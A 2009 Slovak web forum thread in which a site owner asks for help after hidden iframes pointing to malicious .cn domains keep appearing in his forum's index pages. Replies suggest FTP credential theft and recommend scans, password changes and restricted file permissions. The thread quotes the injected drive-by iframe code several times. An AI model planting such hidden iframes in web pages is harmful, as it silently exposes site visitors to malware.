phpbb forum, zeby hacknutie?

dulius · Napísal **dulius**: 08.01.2009 19:40

co si o tom myslite?

moj fusion web, resp forum: http://fusion.fordclubs.org/forum/index.php

mi asi niekto hackol, alebo nejaky automat? ci co?

opravil som to, na index stranke na konci som nasiel toto:

Kód:

<html><body><iframe src="http://litedownloadseek.cn/in.cgi?cocacola7" width=1 height=1 style="visibility: hidden"></iframe></body></html>

kurwy su to

JanoF · Napísal **JanoF**: 08.01.2009 19:50

Ten kto ma pristup na ftp ma alebo mal virus/trojskeho kona, alebo ma webhosting slabe zabespecenie a niekto vyuzil nejaku chybu a pridal ti to do stranky. Cize v prvom rade skontroluj nejakym av pocitac/e kde mas vytvoreny pristup, alebo kde si pristupoval na ftp toho fora. Taktiez si zmen heslona ftp..... Popripade este take mensie opatrenie a to ze obsahu na ftp, tym myslim php subory a sablonam nastavis chmod len na citanie, bez zapisu.

dulius · Napísal autor témy **dulius**: 08.01.2009 20:16

dakujem

dulius · Napísal autor témy **dulius**: 12.01.2009 20:44

http://fusion.fordclubs.org/ neviete co moze byt s tym? v mozille mi to ani neslo, v IE a opere ano, ale teraz vidim, ze v opere to mrzne, ako keby tram nieco natahovalo ... mozte mi to checknut ?

dole som videl v riadku: Prijimam data z alink.belstom.ru

Qpkqkma · Napísal **Qpkqkma**: 12.01.2009 21:12

no nasi vychodny susedia a others mi robia niekedy tiež nervy. Ta stranka mi ide normalne az nato ze pred vsupon nanu ma vyvaruje ze je na zozname infikovanych

dulius · Napísal autor témy **dulius**: 12.01.2009 21:14

qpkqkma píše:

no nasi vychodny susedia a others mi robia niekedy tiež nervy. Ta stranka mi ide normalne az nato ze pred vsupon nanu ma vyvaruje ze je na zozname infikovanych

to som uz riesil s tym googleanalytics, neviem co sa im nepaci ... normalne ma v mozille na web nepustilo, v ie a opere to slo v pohode

dulius · Napísal autor témy **dulius**: 12.01.2009 22:03

toto mi vypisalo, mozte mi to ozrejmit?

Z celkového počtu stránok 9, ktoré sme testovali na stránke počas posledných 90 dní, 3 stránok spôsobilo prevzatie a nainštalovanie škodlivého softvéru bez povolenia používateľa. Spoločnosť Google túto stránku poslednýkrát navštívila 2009-01-11 a podozrivý obsah sa na tejto stránke poslednýkrát našiel 2009-01-11.

Medzi škodlivý softvér patrí 4 exploit(s). Úspešné infikovanie malo za následok v priemere 9 nových procesov v cieľovom zariadení.

dulius · Napísal autor témy **dulius**: 12.01.2009 22:10

no, prehliaavam to a co som nasiel:

Kód:

</head>
<body><iframe src="http://litedownloadseek.cn/in.cgi?cocacola7" width=1 height=1 style="visibility: hidden"></iframe><iframe src="http://litetoplocatesite.cn/in.cgi?cocacola2" width=1 height=1 style="visibility: hidden"></iframe>

toto sa mi tam zjavilo v kode, neskutocne

zase ta coca cola

stenley · Napísal **stenley**: 12.01.2009 22:20

kam presne (pred/za aky prvok/tag) ti pridava ten kod, vzdy za body?

dulius · Napísal autor témy **dulius**: 12.01.2009 22:30

kamos pise, ze niekto so zavirenym PC sa napaja na ftp ... ale o nikom neviem ... ja mam preinstalovany notebook teraz

stale presne takto:

Kód:

<body><iframe src="http://litedownloadseek.cn/in.cgi?cocacola7" width=1 height=1 style="visibility: hidden"></iframe><iframe src="http://litetoplocatesite.cn/in.cgi?cocacola2" width=1 height=1 style="visibility: hidden"></iframe>
 

stenley · Napísal **stenley**: 12.01.2009 22:34

skus si dat preventivne za <body enter, aby si mal "ukoncovaci zobacik" na novom riadku, takto aspon zistis, ci ti to nahodu nevyhladava <body>

ak nemas chybu v zdrojakoch, tak si zmen heslo na ftp a nepouzivaj tc, ak ho pouzivas... treba proste skusat, kde moze byt problem...

dulius · Napísal autor témy **dulius**: 12.01.2009 22:38

ono to prehladalo cely fusion web a vsade kde naslo index.html, tak to tam vlozilo ... a mam to tam Xkrat, lebo tam mam rozne galerie, takze tych index.html mam vela, teraz to odstranujem.

stenley · Napísal **stenley**: 12.01.2009 22:42

aha, pred par rokmi sa mi toto iste stalo, a problem bol v ulozenych heslach na ftp v tc...

dalsia faza bola, ze boli zdrojaky v tychto suboroch vymazane... takze si pre istotu vsetko zazalohuj...

dulius · Napísal autor témy **dulius**: 12.01.2009 22:47

no yooo ... sakra tu ... teraz rucne ten kod odstranujem ...
rozmyslam, ze kde je ten virus, mam ESET, aj v robote a nic nehlasi ...

minales · Napísal **minales**: 25.01.2009 11:14

Mne toto svinstvo preniklo do vsetkych mojich saitov, spravujem ich asi 20 a vsade sa to dostalo , naozaj jedine riesenie vycistit vsetky indexy a pomenit FTP heslá

dulius · Napísal autor témy **dulius**: 25.01.2009 11:18

minales píše:

Mne toto svinstvo preniklo do vsetkych mojich saitov, spravujem ich asi 20 a vsade sa to dostalo , naozaj jedine riesenie vycistit vsetky indexy a pomenit FTP heslá

jj, urcite je to to iste ...
svinstvo, tipujem, ze si to pamata vsetky hesla a ja sa uz nemusim ani na ftp napojit a ono sa to samo napoji ...

stenley · Napísal **stenley**: 25.01.2009 11:35

http://www.softpanorama.org/Malware/Mal ... tack.shtml

phpbb forum, zeby hacknutie?

Podobné témy